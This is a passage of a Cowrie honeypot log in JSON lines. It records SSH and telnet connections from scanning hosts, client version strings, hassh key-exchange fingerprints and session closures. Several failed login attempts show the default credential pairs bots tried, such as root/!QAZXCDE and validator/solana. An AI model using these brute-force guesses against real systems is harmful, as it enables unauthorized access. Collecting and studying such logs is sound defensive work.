lgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:29.215703Z","src_ip":"45.78.204.254","session":"ef2cef5b12a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"ops","message":"login attempt [ops/ops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:30.169485Z","src_ip":"45.78.204.254","session":"ef2cef5b12a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40646,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba9d498debf9","protocol":"telnet","message":"New connection: 192.119.13.58:40646 (10.17.0.5:23) [session: ba9d498debf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:31.054908Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:31.402167Z","src_ip":"45.78.204.254","session":"ef2cef5b12a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.58081030845642,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:32.824438Z","src_ip":"192.119.13.58","session":"a339059e8f5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.4660804271698,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:33.776106Z","src_ip":"192.119.13.58","session":"3c4100338ebd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58350,"dst_ip":"10.17.0.5","dst_port":23,"session":"bddefb0512c9","protocol":"telnet","message":"New connection: 192.119.13.58:58350 (10.17.0.5:23) [session: bddefb0512c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:35.249260Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38320,"dst_ip":"10.17.0.5","dst_port":23,"session":"18d8161fb2f3","protocol":"telnet","message":"New connection: 192.119.13.58:38320 (10.17.0.5:23) [session: 18d8161fb2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:37.274327Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.15.216","src_port":56858,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c3245af067e","protocol":"ssh","message":"New connection: 116.110.15.216:56858 (159.203.135.109:22) [session: 6c3245af067e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:39.193679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:39.585812Z","src_ip":"116.110.15.216","session":"6c3245af067e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:39.619309Z","src_ip":"116.110.15.216","session":"6c3245af067e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.88837790489197,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:39.778426Z","src_ip":"192.119.13.58","session":"4250cf18a533","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:41.015164Z","src_ip":"116.110.15.216","session":"6c3245af067e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.21723651885986,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:41.920729Z","src_ip":"192.119.13.58","session":"25896c5a3b29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:42.267562Z","src_ip":"116.110.15.216","session":"6c3245af067e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59788,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfca2805c45","protocol":"telnet","message":"New connection: 192.119.13.58:59788 (10.17.0.5:23) [session: 9dfca2805c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:42.687594Z"}
{"eventid":"cowrie.session.closed","duration":41.07234477996826,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:43.949884Z","src_ip":"192.119.13.58","session":"4baafad5b73b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40626,"dst_ip":"10.17.0.5","dst_port":22,"session":"9490274fbd1f","protocol":"ssh","message":"New connection: 193.32.162.145:40626 (10.17.0.5:22) [session: 9490274fbd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:46.089022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:46.093738Z","src_ip":"193.32.162.145","session":"9490274fbd1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:46.200526Z","src_ip":"193.32.162.145","session":"9490274fbd1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"solana","message":"login attempt [validator/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:46.529341Z","src_ip":"193.32.162.145","session":"9490274fbd1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:47.638713Z","src_ip":"193.32.162.145","session":"9490274fbd1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52410,"dst_ip":"10.17.0.5","dst_port":23,"session":"403cba310a58","protocol":"telnet","message":"New connection: 192.119.13.58:52410 (10.17.0.5:23) [session: 403cba310a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:47.772422Z"}
{"eventid":"cowrie.session.closed","duration":32.68376445770264,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:49.989897Z","src_ip":"192.119.13.58","session":"4a96f1961f36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33848,"dst_ip":"10.17.0.5","dst_port":23,"session":"81c621cbd542","protocol":"telnet","message":"New connection: 192.119.13.58:33848 (10.17.0.5:23) [session: 81c621cbd542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:50.100649Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34788,"dst_ip":"10.17.0.5","dst_port":23,"session":"2261fee35e22","protocol":"telnet","message":"New connection: 192.119.13.58:34788 (10.17.0.5:23) [session: 2261fee35e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:50.351170Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43816,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a1d7db59f60","protocol":"telnet","message":"New connection: 192.119.13.58:43816 (10.17.0.5:23) [session: 3a1d7db59f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:52.846618Z"}
{"eventid":"cowrie.session.closed","duration":38.45244026184082,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:55.680544Z","src_ip":"192.119.13.58","session":"5e43130c98f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.952834367752075,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:58.233803Z","src_ip":"192.119.13.58","session":"d8cc56d3907e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":26848,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb25a9e7944d","protocol":"ssh","message":"New connection: 201.249.192.30:26848 (10.17.0.5:22) [session: cb25a9e7944d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:58.974196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:58.978303Z","src_ip":"201.249.192.30","session":"cb25a9e7944d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:59.057501Z","src_ip":"201.249.192.30","session":"cb25a9e7944d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:11:59.406921Z","src_ip":"201.249.192.30","session":"cb25a9e7944d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:00.489429Z","src_ip":"201.249.192.30","session":"cb25a9e7944d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.76316809654236,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:00.578393Z","src_ip":"192.119.13.58","session":"3f6e269cb241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.403032302856445,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:02.237715Z","src_ip":"192.119.13.58","session":"dba96cb7a585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":36904,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a0bb42818dc","protocol":"ssh","message":"New connection: 40.83.182.122:36904 (10.17.0.5:22) [session: 6a0bb42818dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:02.747541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:02.752952Z","src_ip":"40.83.182.122","session":"6a0bb42818dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:02.830440Z","src_ip":"40.83.182.122","session":"6a0bb42818dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZXCDE","message":"login attempt [root/!QAZXCDE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:03.172879Z","src_ip":"40.83.182.122","session":"6a0bb42818dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:04.254095Z","src_ip":"40.83.182.122","session":"6a0bb42818dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60814,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2970db6e9e4","protocol":"telnet","message":"New connection: 192.119.13.58:60814 (10.17.0.5:23) [session: b2970db6e9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:04.374832Z"}
{"eventid":"cowrie.session.closed","duration":46.54298734664917,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:07.818804Z","src_ip":"192.119.13.58","session":"dfbf25dc6e41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48078,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa47b45b70dc","protocol":"telnet","message":"New connection: 192.119.13.58:48078 (10.17.0.5:23) [session: aa47b45b70dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:08.290035Z"}
{"eventid":"cowrie.session.closed","duration":37.969616174697876,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:09.024408Z","src_ip":"192.119.13.58","session":"ba9d498debf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38674,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ad0f362defd","protocol":"telnet","message":"New connection: 192.119.13.58:38674 (10.17.0.5:23) [session: 9ad0f362defd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:12.660950Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38826,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b2f855b0371","protocol":"telnet","message":"New connection: 192.119.13.58:38826 (10.17.0.5:23) [session: 2b2f855b0371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:12.696346Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40514,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf3dfafb9055","protocol":"telnet","message":"New connection: 192.119.13.58:40514 (10.17.0.5:23) [session: cf3dfafb9055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:13.107665Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40992,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a43a17e2235","protocol":"telnet","message":"New connection: 192.119.13.58:40992 (10.17.0.5:23) [session: 8a43a17e2235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:13.237883Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48954,"dst_ip":"10.17.0.5","dst_port":23,"session":"54b4bf7c9a98","protocol":"telnet","message":"New connection: 192.119.13.58:48954 (10.17.0.5:23) [session: 54b4bf7c9a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:15.061643Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54764,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a3acfc2b9d9","protocol":"telnet","message":"New connection: 192.119.13.58:54764 (10.17.0.5:23) [session: 5a3acfc2b9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:16.491576Z"}
{"eventid":"cowrie.session.closed","duration":4.112127780914307,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:16.773002Z","src_ip":"192.119.13.58","session":"9ad0f362defd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57384,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b66bf3537e6","protocol":"telnet","message":"New connection: 192.119.13.58:57384 (10.17.0.5:23) [session: 3b66bf3537e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:17.083586Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58636,"dst_ip":"10.17.0.5","dst_port":23,"session":"f20b6ee175d4","protocol":"telnet","message":"New connection: 192.119.13.58:58636 (10.17.0.5:23) [session: f20b6ee175d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:17.378313Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.184.169.169","src_port":62421,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bc0d1745745","protocol":"telnet","message":"New connection: 112.184.169.169:62421 (10.17.0.5:23) [session: 8bc0d1745745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:21.407336Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50750,"dst_ip":"10.17.0.5","dst_port":23,"session":"8130aa639cd9","protocol":"telnet","message":"New connection: 192.119.13.58:50750 (10.17.0.5:23) [session: 8130aa639cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:22.333484Z"}
{"eventid":"cowrie.session.closed","duration":47.498159408569336,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:12:22.747308Z","src_ip":"192.119.13.58","session":"bddefb0512c9","protocol":"telnet"}
